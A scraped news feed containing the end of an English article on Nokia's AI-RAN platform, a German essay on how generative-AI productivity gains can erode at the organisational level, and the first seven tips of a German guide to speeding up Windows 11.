<p class="wp-block-paragraph">Ed framed the opportunity as a continuum: Superior connectivity from 2x spectral efficiency creates “space for new AI workloads and other use cases,” while the D‑apps ecosystem and subscription model provide a mechanism to package and sell those capabilities. In practice, that could look like:</p>



<ul class="wp-block-list">
<li>Industrial sensing-as-a-service, where Nokia and partners supply D‑apps for integrated sensing and positioning, and operators monetize them per site or per device.</li>



<li>Network‑exposed APIs for inference, location and RF sensing, integrated into operators’ broader network API portfolios as they pursue “network-as-a-platform” strategies.</li>



<li>Sector‑specific AI‑native services, such as stadium analytics, transportation corridor monitoring, or drone traffic management, built by ISVs on top of Nokia’s exposed E3 data.</li>
</ul>



<p class="wp-block-paragraph">For operators that already use Nokia’s MantaRay and SMO stacks for cross‑network optimization, AI‑RAN essentially becomes the local real‑time execution environment, while R‑apps/X‑apps continue to orchestrate macro-level behaviors. Mukherjee described this layered architecture as “DU and CU on the platform running D‑apps using E3, interfacing to X‑apps and R‑apps through E2SM and connecting to the overall management system/SMO for lifecycle management.”</p>



<h2 class="wp-block-heading">Adoption path and reality check</h2>



<p class="wp-block-paragraph">Nokia is not promising instant transformation. AI‑RAN pilots are slated for late 2026, with commercial availability on card‑based systems in 2027 and AirScale-based systems around 2028, all driven from a single software stack that supports 4G, 5G and is upgradable to 6G. The company already has trials and collaborations underway with T‑Mobile US, SoftBank, Indosat Ooredoo Hutchison, BT, Elisa, Vodafone, Orange, NTT Docomo, Deutsche Telekom and others.</p>



<p class="wp-block-paragraph">There are still open questions around 3GPP vs ORAN standardization of E3, the maturity of the D‑apps ecosystem, and how operators will digest yet another subscription layer tied to radio software. But Nokia’s move puts a stake in the ground: in the AI era, the RAN is not just a throughput engine; it’s a programmable AI computer that can be monetized.</p>



<p class="wp-block-paragraph">For <em>Network World</em> readers evaluating vendor roadmaps, this launch suggests a clear directional change. If Nokia hits its targets, AI‑RAN could mark the point where baseband becomes less about hardware SKUs and more about an AI platform strategy—one where spectral efficiency and new services are rolled out at “software speed,” as Ed described it, rather than at the pace of the next card generation.</p>
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<title><![CDATA[Hier erodiert die KI-Produktivität]]></title>
<description><![CDATA[Ob aus individuellen KI-Produktivitätsgewinnen auch eine performantere Organisation entsteht, hängt maßgeblich von der Gestaltung durch das Management ab.Gorodenkoff | shutterstock.com



Die Debatte über (generative) künstliche Intelligenz (KI) fokussiert sich meist auf die Produktivität des Ein...]]></description>
<link>https://tsecurity.de/de/3690658/it-security-nachrichten/hier-erodiert-die-ki-produktivitaet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690658/it-security-nachrichten/hier-erodiert-die-ki-produktivitaet/</guid>
<pubDate>Fri, 24 Jul 2026 06:08:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Gorodenkoff_shutterstock_2242410119_16z9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Team Discussion 16z9" class="wp-image-4196516" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Ob aus individuellen KI-Produktivitätsgewinnen auch eine performantere Organisation entsteht, hängt maßgeblich von der Gestaltung durch das Management ab.</figcaption></figure><p class="imageCredit">Gorodenkoff | shutterstock.com</p></div>



<p class="wp-block-paragraph">Die Debatte über (generative) künstliche Intelligenz (KI) fokussiert sich meist auf die <a href="https://www.computerwoche.de/article/4160254/ki-liefert-endlich-produktivitatsgewinne-zumindest-im-homeoffice.html" target="_blank">Produktivität des Einzelnen</a> – und die Zahlen hierzu sind bemerkenswert. So zeigte ein großangelegtes <a href="https://www.hbs.edu/faculty/Pages/item.aspx?num=64700" target="_blank" rel="noreferrer noopener">Feldexperiment der Harvard Business School</a> in Zusammenarbeit mit der Boston Consulting Group, dass der Einsatz generativer KI bei Wissensaufgaben sowohl die Ergebnisqualität als auch die Bearbeitungsgeschwindigkeit signifikant verbessert. Dabei ist der Nivellierungseffekt besonders beachtlich:</p>



<ul class="wp-block-list">
<li>Während erfahrene Fachkräfte ihre Leistung um rund <strong>17 Prozent</strong> steigerten,</li>



<li>lagen die Verbesserungen bei den schwächeren Teilnehmern bei <strong>über 40 Prozent</strong>.</li>
</ul>



<p class="wp-block-paragraph">Diese individuellen Produktivitätsgewinne übertragen sich jedoch nicht automatisch in gleichem Maße auf die Organisationsebene. Unternehmen schaffen nicht bloß durch die isolierte Performance Einzelner Wert, sondern vor allem durch die Fähigkeit, Wissen zu bündeln, <a href="https://www.computerwoche.de/article/2805974/so-geht-schlechte-technologieentscheidung.html" target="_blank">komplexe Entscheidungen</a> zu treffen und gemeinsam Innovationen hervorzubringen. </p>



<p class="wp-block-paragraph">Wenn jedes Teammitglied zunehmend mit seinem eigenen KI-Assistenten interagiert, kann dies die Kernmechanismen erfolgreicher Zusammenarbeit beeinträchtigen. Die entscheidende Herausforderung besteht somit darin, den Zuwachs an individueller Produktivität in eine echte <a href="https://www.computerwoche.de/article/4146333/warum-unternehmen-nicht-ins-tun-kommen.html" target="_blank">organisatorische Leistungssteigerung</a> zu übersetzen.</p>



<h2 class="wp-block-heading">3 Produktivitäts-Bruchstellen im KI-Zeitalter</h2>



<p class="wp-block-paragraph">Ob aus temporären Effizienzgewinnen nachhaltige Wettbewerbsvorteile entstehen, hängt deshalb maßgeblich davon ab, wie <a href="https://www.computerwoche.de/article/4091252/ki-kann-den-chef-nicht-ersetzen.html" target="_blank">Führungskräfte</a> die folgenden drei Bruchstellen gestalten, die aufeinander aufbauen. Diese repräsentieren jene organisatorischen Übergänge, an denen individuelle Produktivitätsgewinne durch KI in kollektive Leistungsnachteile umschlagen können – wenn sie nicht aktiv gestaltet werden.</p>



<p class="wp-block-paragraph"><strong>1. Bruchstelle: Wissenssicherung</strong></p>



<p class="wp-block-paragraph">Der Weg zur Seniorität folgte lange einer stabilen Logik: Operative Erfahrung führte zu Expertise, diese wiederum zu Einfluss. Wer über mehr Wissen verfügte, übernahm komplexere Aufgaben und wurde zur zentralen Orientierungsperson im Team. Generative KI bricht diese Logik auf, da weniger erfahrene Mitarbeitende mithilfe von <a href="https://www.computerwoche.de/article/4096888/ki-ist-mehr-als-nur-ein-neues-tool.html" target="_blank">KI-Tools</a> heute Analysen, Konzepte und Problemlösungen in hoher Qualität erstellen können. Ein Teil des traditionellen Wissensvorsprungs erfahrener Kräfte verliert dadurch seine Exklusivität.</p>



<p class="wp-block-paragraph">Auf diese Weise gerät ein impliziter Erfolgsfaktor von Organisationen ins Wanken: der organische Wissenstransfer. Bislang floss Wissen primär über erfahrene Kräfte, was <a href="https://www.computerwoche.de/article/2827219/so-managen-sie-generationsunterschiede.html" target="_blank">Mentoring</a> und kollektives Lernen quasi „nebenbei“ sicherstellte. Fällt dieser Austausch weg, weil Aufgaben isoliert im Dialog mit der KI gelöst werden, besteht das Risiko eines doppelten Kompetenzverlusts:</p>



<ul class="wp-block-list">
<li><strong>Beschäftigte in Junior-Rollen</strong> können mithilfe von KI überzeugende Ergebnisse liefern, ohne den zugrundeliegenden Lösungsweg vollständig verstehen zu müssen. Der <a href="https://www.computerwoche.de/article/4066993/warum-junior-developer-unverzichtbar-bleiben.html" target="_blank">Lerneffekt</a> wird dadurch reduziert und die Fähigkeit zur eigenständigen Problemlösung sowie zur kritischen Validierung der KI-Ergebnisse eingeschränkt. Die Folge ist eine wachsende, unkritische Abhängigkeit von der Technologie.</li>



<li><strong>Erfahrene Fachkräfte</strong> laufen Gefahr, zur rein reaktiven Korrekturinstanz von KI-Ergebnissen zu werden. Ihre Erfahrung fließt dann nicht mehr aktiv in die Gestaltung ein, sondern beschränkt sich zunehmend auf die <a href="https://www.computerwoche.de/article/4158506/40-prozent-der-ki-produktivitatsgewinne-gehen-verloren.html" target="_blank">nachträgliche Qualitätskontrolle</a>. Mögliche Folgen sind <a href="https://www.computerwoche.de/article/2816175/so-motivieren-sie-softwareentwickler.html" target="_blank">Motivationsverlust</a>, mentaler Rückzug der Leistungsträger und der schleichende Verlust des in der Organisation vorhandenen Erfahrungswissens.</li>
</ul>



<p class="wp-block-paragraph">Um diesen doppelten Kompetenzverlust zu verhindern, müssen Führungskräfte den Rollenwandel der Seniorität aktiv gestalten. Künftig sollte sich diese nicht mehr primär über exklusives Fachwissen definieren, sondern über die Fähigkeit, die richtigen Fragen zu stellen, Zusammenhänge einzuordnen und Teams bei der kritischen Bewertung von KI-Ergebnissen anzuleiten. Diese Begleitung kann nicht erst im Rahmen der abschließenden Qualitätskontrolle erfolgen, sondern muss bereits <a href="https://www.computerwoche.de/article/4193038/der-data-scientist-ist-tot.html" target="_blank">während der Arbeit mit KI</a> ansetzen. </p>



<p class="wp-block-paragraph">Ziel ist es, Wissen, Erfahrungswerte und Kontext kontinuierlich zu vermitteln, die Urteilskraft der Junioren gezielt zu entwickeln und sie schrittweise zu einer eigenständigen Validierung und reflektierten Nutzung von KI-Ergebnissen zu befähigen.Gelingt dieser Rollenwandel nicht, können Teams zwar kurzfristig ihre individuelle Produktivität steigern, verlieren jedoch zunehmend das gemeinsame Verständnis für fachliche Zusammenhänge und den organisatorischen Kontext. </p>



<p class="wp-block-paragraph">Die durch KI erzielten Produktivitätsgewinne können dann durch Fehlentscheidungen, <a href="https://www.computerwoche.de/article/4184063/ki-betreuung-stiehlt-mitarbeitern-mehr-als-6-stunden-pro-woche.html" target="_blank">steigenden Korrekturaufwand</a> und einen schleichenden Qualitätsverlust auf Teamebene wieder aufgezehrt werden. Ohne die systematische Sicherung von Erfahrungswissen zu agieren, heißt, teure Fehler zu produzieren – nur deutlich schneller.</p>



<p class="wp-block-paragraph"><strong>2. Bruchstelle: Qualitätssicherung</strong></p>



<p class="wp-block-paragraph">Die Herausforderung endet jedoch nicht bei der Wissenssicherung. Sie betrifft im nächsten Schritt auch die Art und Weise, wie Teams die Qualität ihrer Entscheidungen absichern, wenn ein wachsender Teil der Analyse-, Bewertungs- und Wissensarbeit durch KI unterstützt wird. Je mehr Vorarbeit KI übernimmt, desto stärker hängt die Qualität organisatorischer Entscheidungen davon ab, die generierten Ergebnisse kritisch zu überprüfen und einzuordnen.</p>



<p class="wp-block-paragraph">Eine Besonderheit generativer KI besteht darin, dass ihre Leistungsfähigkeit keiner intuitiven Logik folgt. Die eingangs zitierte Studie beschreibt dieses Phänomen als „Jagged Technological Frontier“: KI-Systeme können bei bestimmten Aufgaben eine Performance auf Expertenniveau erreichen, während sie bei scheinbar ähnlichen Fragestellungen überraschend große Schwächen aufweisen. Die Grenzen dieser Leistungsfähigkeit sind jedoch nicht für jeden Nutzer ohne weiteres erkennbar.</p>



<p class="wp-block-paragraph">Genau daraus entstehen neue Herausforderungen für Führungskräfte: Mit der Integration von KI in den Arbeitsalltag steigt das Risiko des sogenannten “<a href="https://www.vdivde-it.de/sites/default/files/document/2026-Medizintechnik_Automation-Bias.pdf" target="_blank" rel="noreferrer noopener">Automation Bias</a>” (PDF), also der Tendenz, algorithmischen Empfehlungen unkritisch zu vertrauen. Die Gefahr liegt dabei selten in offensichtlichen Fehlern, sondern in plausiblen (aber falschen) Antworten, die überzeugend formuliert sind und deshalb ungeprüft übernommen werden.</p>



<p class="wp-block-paragraph">Zudem greift ein Beschleunigungseffekt: KI verkürzt den Weg von der Fragestellung bis zum Ergebnis erheblich und damit auch jene Diskussionen, mit denen Teams bislang die Qualität ihrer Entscheidungen abgesichert haben. Wo früher Analysen debattiert und Annahmen abgewogen wurden, liegt heute in Sekunden ein Resultat vor. Das eigentliche Risiko liegt dabei darin, dass Ergebnisse schneller entstehen als sie kritisch überprüft werden können. So ist es möglich, dass Produktivitätsgewinne mit einem Verlust an Ergebnisqualität einhergehen.</p>



<p class="wp-block-paragraph">Führungskräfte sollten daher Strukturen schaffen, die den Einsatz von KI transparent gestalten und Ergebnisse offen zur Diskussion stellen. KI-generierte Inhalte müssen denselben kritischen Maßstäben unterworfen werden wie die Arbeit eines erfahrenen Teammitglieds. Dazu benötigen Teams Validierungskompetenz, eine Verantwortungskultur und etablierte Prüfprozesse. Die entscheidende Frage sollte daher nicht sein, ob ein Ergebnis vom Menschen oder der Maschine stammt. Sondern, wer dieses auf fachliche Korrektheit überprüft und die Verantwortung für die darauf basierende Entscheidung übernimmt. </p>



<p class="wp-block-paragraph">KI steigert zwar die Geschwindigkeit – das wird jedoch erst dann zum echten Wettbewerbsvorteil, wenn es mit Urteilskraft und <a href="https://www.computerwoche.de/article/4194451/5-wege-zu-mehr-ki-accountability.html" target="_blank">gelebter Accountability</a> einhergeht.</p>



<p class="wp-block-paragraph"><strong>3. Bruchstelle: Innovationssicherung</strong></p>



<p class="wp-block-paragraph">Wie zuvor beschrieben, kann der Einsatz generativer KI gemeinsame Diskussionen verkürzen, was wiederum die <a href="https://www.computerwoche.de/article/3602602/wie-wird-man-innovativ.html" target="_blank">Innovationskraft</a> des Unternehmens belasten kann. KI liefert dabei nicht nur einen ersten Lösungsvorschlag, sondern erhöht zugleich die Wahrscheinlichkeit, dass sich Teams früh auf eine gemeinsame Richtung festlegen. Echte Innovationen entstehen jedoch selten durch schnelle Einigkeit: Sie entstehen durch produktive Reibung, tiefgehende Debatten und dadurch, etablierte Denkmuster zu hinterfragen.</p>



<p class="wp-block-paragraph">Ein wesentlicher psychologischer Mechanismus dieser frühen Konvergenz ist der sogenannte <a href="https://de.wikipedia.org/wiki/Ankereffekt" target="_blank" rel="noreferrer noopener">Ankereffekt</a>: Da KI in Sekundenschnelle plausible Ergebnisse liefert, wirkt dieser erste Entwurf als kognitiver Anker. Das menschliche Gehirn orientiert sich somit unbewusst an diesem Startpunkt, was den Suchraum für alternative Lösungen vorzeitig verengt und so die Innovationsfähigkeit schwächen kann.</p>



<p class="wp-block-paragraph">Führungskräfte stehen deshalb vor der zusätzlichen Aufgabe, produktiven Widerspruch bewusst zu organisieren. Kritische Rückfragen und konträre Sichtweisen sind das notwendige Gegengewicht zur KI-generierten Konvergenz. Und: Organisationen verlieren selten ihre Innovationskraft, weil ihnen Antworten fehlen. Vielmehr, weil sie aufhören, Alternativen ernsthaft zu diskutieren. Eine höhere Geschwindigkeit im Lösungsprozess führt daher nicht automatisch zu höherer Innovationsfähigkeit. </p>



<p class="wp-block-paragraph">Entscheidend ist, dass Organisationen weiterhin Räume schaffen, in denen unterschiedliche Perspektiven aufeinandertreffen, bestehende Annahmen hinterfragt werden und neue Ideen entstehen können. Mit anderen Worten: KI erzeugt Konvergenz, Innovation braucht Divergenz.</p>



<h2 class="wp-block-heading">KI schafft eine neue Realität</h2>



<p class="wp-block-paragraph">Diese drei Bruchstellen verdeutlichen, dass generative KI nicht nur Arbeitsprozesse, sondern auch die Grundlagen organisationaler Leistungsfähigkeit grundlegend verändern kann. Wissen entsteht anders, Entscheidungen werden anders getroffen und Innovation entwickelt sich unter veränderten Voraussetzungen.</p>



<p class="wp-block-paragraph">Je stärker KI in den Arbeitsalltag integriert wird, desto entscheidender wird es, die genannten Bruchstellen bewusst zu gestalten. Der nachhaltige Nutzen von KI entsteht nicht allein durch den Einsatz der Technologie, sondern durch die Fähigkeit einer Organisation, ihre Strukturen, Lernprozesse und Entscheidungsmechanismen an diese neue Realität anzupassen. (fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Beitrag wurde im Rahmen des deutschsprachigen Experten-Netzwerks von Foundry veröffentlicht. Lust mitzumachen? </strong><a href="https://www.computerwoche.de/experten/" target="_blank"><strong>Jetzt bewerben</strong>!</a></p>
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<title><![CDATA[Windows 11 schneller machen]]></title>
<description><![CDATA[Windows 11 (ab Version 22H2) schneller machen: Mit diesen 13 Tipps klappt’s im Handumdrehen.
					Foto: Microsoft




Im Vergleich zu Windows 10 hat Microsoft bei Windows 11 einige Maßnahmen ergriffen, um die PC-Performance zu optimieren. Das heißt allerdings nicht, dass es nicht noch besser, bez...]]></description>
<link>https://tsecurity.de/de/3690608/it-security-nachrichten/windows-11-schneller-machen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690608/it-security-nachrichten/windows-11-schneller-machen/</guid>
<pubDate>Fri, 24 Jul 2026 05:19:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Windows 11 (ab Version 22H2) schneller machen: Mit diesen 13 Tipps klappt's im Handumdrehen." title="Windows 11 (ab Version 22H2) schneller machen: Mit diesen 13 Tipps klappt's im Handumdrehen." src="https://images.computerwoche.de/bdb/3388569/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Windows 11 (ab Version 22H2) schneller machen: Mit diesen 13 Tipps klappt’s im Handumdrehen.</p></figcaption></figure><p class="imageCredit">
					Foto: Microsoft</p></div>




<p class="wp-block-paragraph">Im Vergleich zu <a title="Windows 10" href="https://www.computerwoche.de/article/2823259/windows-11-im-windows-10-look-nutzen.html" target="_blank">Windows 10</a> hat Microsoft bei <a title="Windows 11" href="https://www.computerwoche.de/article/2805175/laeuft-win-11-auf-ihrem-pc.html" target="_blank">Windows 11</a> einige Maßnahmen ergriffen, um die PC-Performance zu optimieren. Das heißt allerdings nicht, dass es nicht noch besser, beziehungsweise schneller geht. Zum Beispiel mit den folgenden, simplen Optimierungstipps. Sie zu befolgen kann übrigens auch gewährleisten, dass Ihre <a class="idgGlossaryLink" href="https://www.computerwoche.de/operating-systems/" target="_blank">Windows</a>-11-Maschine nicht im Laufe der Zeit erlahmt.</p>



<h2 class="wp-block-heading">13 Tipps, um Windows 11 schneller zu machen</h2>



<p class="wp-block-paragraph">Vorab noch ein Hinweis: Wir beziehen uns in diesem Artikel auf <a title="Windows 11 Version 22H2" href="https://www.computerwoche.de/article/2816557/die-erste-version-auf-die-firmen-wechseln-koennen.html" target="_blank">Windows 11 Version 22H2</a>. Wenn Sie eine frühere Version von <a class="idgGlossaryLink" href="https://www.computerwoche.de/operating-systems/" target="_blank">Windows</a> 11 nutzen, stehen einige Features unter Umständen nicht zur Verfügung oder sehen anders aus.</p>



<p class="wp-block-paragraph"><strong>1. Autostart deaktivieren</strong></p>



<p class="wp-block-paragraph">Programme, die zwar im Hintergrund laufen, aber nur selten oder nie verwendet werden, können Ihren PC verlangsamen. Zu unterbinden, dass solche Applikationen zum Systemstart ausgeführt werden, kann Ihren Rechner entsprechend beschleunigen. Dazu rufen Sie zunächst den <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a> Task Manager auf, indem Sie: </p>



<ul class="wp-block-list">
<li><p>entweder die <a title="Tastenkombination" href="https://www.computerwoche.de/article/2718711/windows-10-wichtige-tastenkombinationen-im-ueberblick.html" target="_blank">Tastenkombination</a> <strong>Strg + Alt + Entf</strong> eingeben, oder</p></li>



<li><p>den Task Manager über die Windows-Suchleiste starten.</p></li>
</ul>



<p class="wp-block-paragraph">Im Task Manager klicken Sie rechts auf den Menüpunkt “<strong>Autostart von Apps</strong>“. Nun sehen Sie eine Liste der Programme und Dienste, die beim Start von <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a> initiiert werden – inklusive der Info, wie sich die jeweilige App auf den Startprozess auswirkt (dieser Wert bezieht sich allerdings nur auf den Startvorgang, nicht den laufenden Windows-11-Betrieb). Um zu verhindern, dass eines der gelisteten Programme oder Dienste zusammen mit dem System gestartet wird, genügt ein Rechtsklick, die Auswahl von “<strong>Deaktivieren</strong>” sowie ein anschließender Neustart des Rechners.</p>



<p class="wp-block-paragraph"><strong>2. Effizienzmodus verwenden</strong></p>



<p class="wp-block-paragraph">Über den Task Manager initiieren Sie einen weiteren Trick, um <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a> 11 schneller zu machen. Den mit Windows 11 22H2 eingeführten “<strong>Effizienzmodus</strong>“, der Ihren PC beschleunigen und zudem die Akkulaufzeit Ihres Laptops optimieren kann. Neben anderen Maßnahmen regelt der Effizienzmodus in <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a> 11 zum Beispiel die Priorität von Prozessen und Anwendungen, die im Hintergrund laufen. Dabei ist der Begriff allerdings etwas irreführend, denn Sie können nicht Ihren gesamten Rechner in den Effizienzmodus versetzen – sondern lediglich <a href="https://www.computerwoche.de/article/2860610/effizienzmodus-fuer-programme-aktivieren.html" title="einzelne Anwendungen und Prozesse" target="_blank">einzelne Anwendungen und Prozesse</a>. Der Haken dabei: Das funktioniert nur mit bestimmten.</p>



<p class="wp-block-paragraph">Rufen Sie den Task Manager (siehe oben) auf und wählen sie im Menü links den Punkt “<strong>Prozesse</strong>“. Rechts sehen Sie nun eine Liste der Anwendungen und Prozesse, die aktuell laufen. Wenn Sie einen der Listeneinträge auswählen, haben Sie oben rechts im Task Manager die Möglichkeit, den <strong>Effizienzmodus</strong> zu aktivieren. Ist die Schaltfläche ausgegraut, steht die Funktion für die ausgewählte App nicht zur Verfügung. Darüber hinaus wissenswert: Unter <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a> 11 arbeiten einige Anwendungen standardmäßig im Effizienzmodus, ohne die Möglichkeit, diesen zu deaktivieren (etwa <a href="https://www.computerwoche.de/article/2823167/edge-browser-zwang-in-teams-und-outlook.html" title="Microsoft Edge" target="_blank">Microsoft Edge</a>).</p>



<p class="wp-block-paragraph"><strong>3. Automatisierte Wartung nutzen</strong></p>



<p class="wp-block-paragraph"><a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a> 11 führt im Hintergrund kontinuierlich Wartungsmaßnahmen an Ihrem PC durch, beispielsweise Sicherheits-Scans und Systemdiagnosen. Das soll sicherstellen, dass alles auf dem neuesten Stand ist, eventuelle Probleme automatisch behoben werden und das Device mit optimaler Leistung läuft. Sie sollten deshalb sicherstellen, dass die automatische Wartung durch Windows aktiviert ist. Bei Bedarf können Sie diese Funktion auch manuell starten.</p>



<p class="wp-block-paragraph">Rufen Sie dazu die <strong>Systemsteuerung</strong> auf und wählen Sie dort <strong>System und Sicherheit</strong> -&gt; <strong>Sicherheit und Wartung</strong>. Hier finden Sie den Abschnitt “<strong>Automatische Wartung</strong>“, inklusive der Option, diese direkt manuell zu starten.</p>



<p class="wp-block-paragraph"><strong>4. Adware und Bloatware beseitigen</strong></p>



<p class="wp-block-paragraph">Möglicherweise liegt es gar nicht an <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a> 11, dass Ihr PC langsam startet. Eventuell beansprucht auch <a href="https://www.computerwoche.de/article/2860628/installation-ohne-bloatware.html" title="Bloat" target="_blank">Bloat</a>– oder Adware die Systemressourcen über Gebühr. Software dieser Art wird oft vom Hersteller Ihres PCs vorinstalliert – und in der Regel standardmäßig auch beim Systemstart aktiviert.</p>



<p class="wp-block-paragraph">Um das abzustellen, führen Sie zunächst einen System-Scan durch, um Adware und Malware aufzuspüren. Wenn Sie bereits eine Security-Suite installiert haben, können Sie diese dazu verwenden. Ansonsten empfiehlt sich für diese Aufgabe der in <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a> 11 integrierte <a href="https://www.computerwoche.de/article/2858833/mit-dem-microsoft-defender-nach-viren-suchen.html" title="Defender" target="_blank">Defender</a>. Um einen Scan zu starten, suchen Sie die App über das <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a>-Suchfeld. Anschließend können Sie mit einem zweiten Tool auf Nummer sicher gehen – dazu empfiehlt sich zum Beispiel das kostenlose Tool von <a href="https://de.malwarebytes.com/" title="Malwarebytes" target="_blank" rel="noopener">Malwarebytes</a>. Anschließend geht es der Bloatware an den Kragen. Dazu empfehlen sich zwei Werkzeuge:</p>



<ul class="wp-block-list">
<li><p>Das kostenlose Anti-Bloatware-Tool “<strong><a title="Bulk Crap Uninstaller" href="https://www.bcuninstaller.com/" target="_blank" rel="noopener">Bulk Crap Uninstaller</a></strong>” und</p></li>



<li><p>die Webseite “<strong><a title="Should I Remove It?" href="https://www.shouldiremoveit.com/" target="_blank" rel="noopener">Should I Remove It?</a></strong>“.</p></li>
</ul>



<p class="wp-block-paragraph">Letztere bietet nicht nur wertvolle Tipps zu installierter Software auf Ihrem System, sondern bietet auch diverse nützliche Inhalte, die Sie dabei unterstützt, Bloatware von den Systemen verschiedener <a href="https://www.shouldiremoveit.com/oems-bloatware.aspx" title="spezifischer Hersteller" target="_blank" rel="noopener">spezifischer Hersteller</a> zu entfernen.</p>



<p class="wp-block-paragraph"><strong>5. Suchindizierung abschalten</strong></p>



<p class="wp-block-paragraph">Die <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a>-11-Suche führt im Hintergrund eine Indizierung der Festplattendaten durch, damit Sie Ihren PC schneller durchsuchen können. Die beschleunigten Suchvorgänge können allerdings zu einem langsameren Rechner führen, denn die Suchindizierung kostet Ressourcen. Dies gilt insbesondere für Systeme, die ohnehin etwas schwach auf der Brust sind. Bei ihnen kann es zu einem Geschwindigkeitsschub führen, die Suchindizierung abzuschalten. </p>



<p class="wp-block-paragraph">Um das zu bewerkstelligen, geben Sie <strong>services.msc</strong> in das <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a>-Suchfeld ein und öffnen die <strong>Dienste-App</strong>. In der Auflistung scrollen Sie bis zum Eintrag “<strong>Windows Search</strong>” – und vollziehen einen Doppelklick. Im folgenden Fenster können Sie den Dienst stoppen und Ihren Rechner neu starten. Anschließend sind Ihre Suchvorgänge möglicherweise etwas langsamer, den Unterschied werden Sie allerdings kaum bemerken. Dafür sollten Sie den Geschwindigkeitszuwachs umso mehr spüren.</p>



<p class="wp-block-paragraph">Alternativ können Sie die Indizierung auch nur für Dateien an bestimmten Speicherorten deaktivieren, während Dateien und Ordner, in, beziehungsweise nach denen Sie häufig suchen, weiterhin indiziert werden. Dazu geben Sie im <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a>-Suchfeld “<strong>index</strong>” ein und öffnen anschließend die App “<strong>Indizierungsoptionen</strong>“. Klicken Sie auf die Schaltfläche “<strong>Ändern</strong>“, und Sie sehen eine Liste der Speicherorte, die indiziert werden. Damit ein spezifischer Speicherport nicht mehr indiziert wird, deaktivieren Sie einfach das entsprechende Kontrollkästchen daneben.</p>



<p class="wp-block-paragraph"><strong>6. Festplatte entrümpeln</strong></p>



<p class="wp-block-paragraph">Eine überfüllte Festplatte mit Dateien, die nicht mehr benötigt werden, kann Ihren PC ausbremsen. Sich ein paar Minuten Zeit zu nehmen, um Ihre Festplatte aufzuräumen, kann in einen sofortigen Geschwindigkeitsschub resultieren. Dazu brauchen Sie nicht mehr als das <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a>-11-Bord-Tool “<strong>Speicheroptimierung</strong>“.</p>



<p class="wp-block-paragraph">Dieses finden Sie über das Einstellungsmenü, unter dem Punkt <strong>System</strong> -&gt; <strong>Speicher</strong>. Wenn Sie den Schieberegler bei Speicheroptimierung nach rechts schieben, überwacht <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a> 11 Ihren PC kontinuierlich und löscht automatisiert temporäre oder alte Dateien. Dabei können Sie die Funktionsweise des Tools an Ihre Bedürfnisse anpassen. Sie können die Speicheroptimierung auch anweisen, Dateien in Ihrem Download-Ordner oder Ihrem Papierkorb nach einer bestimmten Frist zu löschen.</p>



<p class="wp-block-paragraph"><strong>7. Schatten, Animationen und visuelle Effekte deaktivieren</strong></p>



<p class="wp-block-paragraph">Auf schnellen, neueren PCs beeinträchtigen die visuellen Effekte von <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a> 11 die PC-Leistung für gewöhnlich nicht. Auf älteren, langsameren Rechnern kann das anders aussehen. Sollte Ihr PC in letztgenannte Kategorie fallen, fahren Sie in der Regel besser, wenn Sie die visuellen Schmankerl von Windows 11 deaktivieren.</p>



<p class="wp-block-paragraph">Dazu geben Sie <strong>sysdm.cpl</strong> in das <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a>-Suchfeld ein und starten das gleichnamige Systemsteuerungselement. Im folgenden Dialogfeld “<strong>Systemeigenschaften</strong>” navigieren Sie zur Registerkarte “<strong>Erweitert</strong>“. Anschließend klicken Sie auf die Schaltfläche “<strong>Eigenschaften</strong>” im Bereich “<strong>Leistung</strong>“. Sie sehen nun das Dialogfeld “Leistungsoptionen” mit einer langen Liste von Animationen und Spezialeffekten. Hier können Sie nach Belieben experimentieren. Wenn Sie einfach nur zielstrebig die größten Performance-Fresser entfernen möchten – das sind in der Regel die Optionen:</p>



<ul class="wp-block-list">
<li><p>Animation beim Minimieren und Maximieren von Fenstern;</p></li>



<li><p>Animationen auf der Taskleiste;</p></li>



<li><p>Fensterschatten anzeigen;</p></li>



<li><p>Menüelemente nach Aufruf ausblenden;</p></li>



<li><p>Menüs in Ansicht ein- oder ausblenden;</p></li>



<li><p>Quickinfo in Ansicht ein- oder ausblenden;</p></li>



<li><p>Steuerelemente und Elemente innerhalb von Fenstern animieren.</p></li>
</ul>



